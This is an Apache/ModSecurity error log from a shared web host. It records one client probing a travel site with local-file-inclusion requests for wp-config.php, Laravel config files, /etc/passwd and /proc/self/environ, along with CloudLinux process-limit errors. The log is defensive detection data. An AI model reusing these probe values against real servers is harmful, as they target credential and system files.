[Fri Jul 17 08:55:51.484746 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.484932 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxAi3pC6yjXGNq2ArAAAAAU"]
[Fri Jul 17 08:55:51.485696 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvw5GPQ6hs4VrfMpByQAAAAY"]
[Fri Jul 17 08:55:51.486262 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvw5GPQ6hs4VrfMpByQAAAAY"]
[Fri Jul 17 08:55:51.486357 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.486634 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvw5GPQ6hs4VrfMpByQAAAAY"]
[Fri Jul 17 08:55:51.488172 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MowAAAAc"]
[Fri Jul 17 08:55:51.488737 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MowAAAAc"]
[Fri Jul 17 08:55:51.488846 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.489140 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv1h1WDijTxd1xw5MowAAAAc"]
[Fri Jul 17 08:55:51.490442 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvyvekYYQ8uns4MwlowAAAA0"]
[Fri Jul 17 08:55:51.491036 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvyvekYYQ8uns4MwlowAAAA0"]
[Fri Jul 17 08:55:51.491171 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.491437 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvyvekYYQ8uns4MwlowAAAA0"]
[Fri Jul 17 08:55:51.492136 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVAqQAAAAk"]
[Fri Jul 17 08:55:51.492732 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVAqQAAAAk"]
[Fri Jul 17 08:55:51.492871 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.493235 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxJ0z2bEtnOrIXVAqQAAAAk"]
[Fri Jul 17 08:55:51.506161 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv7EWOaI5pmYo9fnPAQAAAAA"]
[Fri Jul 17 08:55:51.506830 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv7EWOaI5pmYo9fnPAQAAAAA"]
[Fri Jul 17 08:55:51.507132 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.507438 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv7EWOaI5pmYo9fnPAQAAAAA"]
[Fri Jul 17 08:55:51.543098 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.549946 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:52.667519 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:52.784461 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.234424 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.26:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory37/subsystem/devices/memory57/subsystem/devices/memory91/subsystem/uevent
[Fri Jul 17 08:55:53.280975 2026] [mime:warn] [pid 2030798:tid 2030798] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.373701 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.755867 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.797134 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.887317 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.926179 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:53.997547 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:53.997658 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:53.998534 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:53.999539 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.001595 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.035697 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:file: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96MQAAAAw"]
[Fri Jul 17 08:55:54.035970 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:file: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpBzgAAAAY"]
[Fri Jul 17 08:55:54.036078 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:file: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpBzgAAAAY"]
[Fri Jul 17 08:55:54.036200 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96MQAAAAw"]
[Fri Jul 17 08:55:54.036298 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.036380 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:file: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVsgAAABM"]
[Fri Jul 17 08:55:54.036493 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:file: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVsgAAABM"]
[Fri Jul 17 08:55:54.036538 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpBzgAAAAY"]
[Fri Jul 17 08:55:54.036548 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96MQAAAAw"]
[Fri Jul 17 08:55:54.036656 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.036900 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg5GPQ6hs4VrfMpBzgAAAAY"]
[Fri Jul 17 08:55:54.036909 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVsgAAABM"]
[Fri Jul 17 08:55:54.036996 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.037285 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVsgAAABM"]
[Fri Jul 17 08:55:54.039586 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS2gAAAB4"]
